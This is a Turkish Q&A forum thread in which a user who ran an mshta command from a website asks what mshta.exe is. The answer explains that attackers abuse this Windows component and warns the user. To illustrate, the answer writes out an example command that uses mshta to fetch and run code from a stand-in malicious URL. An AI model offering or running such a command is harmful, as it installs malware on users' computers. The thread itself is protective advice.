mshta.exe nedir? Bir siteden yanlışlıkla mshta.exe ile komut çalıştırdım

acemiadam (220) 4 saat önce sordu

mshta nedir? Bir siteden yanlışlıkla mshta ile başlayan bir komut çalıştırdım. Komut mshta site.com/wwww/wwdff gibi bi şeydi tam hatırlamıyorum site adını ama komut böyleliydi mshta vardı ve sitenin adresi vardı. Sonra bilgisayarda bir şeyler açıldı kapandı. mshta nedir? mshta çalıştırırsam ne olur? mshta virüs mü?

Toplam 1 cevap


murat (12586) 3 saat önce cevapladı

Mshta aslında Windows işletim sisteminin bir bileşeni.  Microsoft HTML Application (HTA) denen script kodları çalıştırmaya yarıyor.  HTML içine gömülü olan VBScript ve JScript kodlarını çalıştırabiliyor.

Normalde faydalı bir uygulama olmakla beraber saldırganlar sık sık bir web sayfasına gömdükleri zararlı kodları mshta.exe ile çalıştırabiliyorlar.

Mesela

Mshta https://zararlisiteçş.com/zararlikodlar

gibi uzak bir sunucudaki zararlı kodların bilgisayarda çalıştırabilmesini sağlıyorlar. Bu sayede bilgisayara trojan, virüs yükleyebiliyorlar.  

Sen de böyle bir saldırının kurbanı olmuşsun. Mshta virüs değil fakat bu uygulama ile virüs yüklenebiliyor. Muhtemel senin bilgisayarında da virüs var şuanda. Acilen bir antivirü ile bilgisayarı tara. Windows defender açık değilse mutlaka aç.  Malwarebytes vb programlar ile tarama yapmanda fayda var.

mshta.exe dosyasını silme ama bir daha mshta.exe ile başlayan internette gördüğün kodları çalıştıra yapıştırma.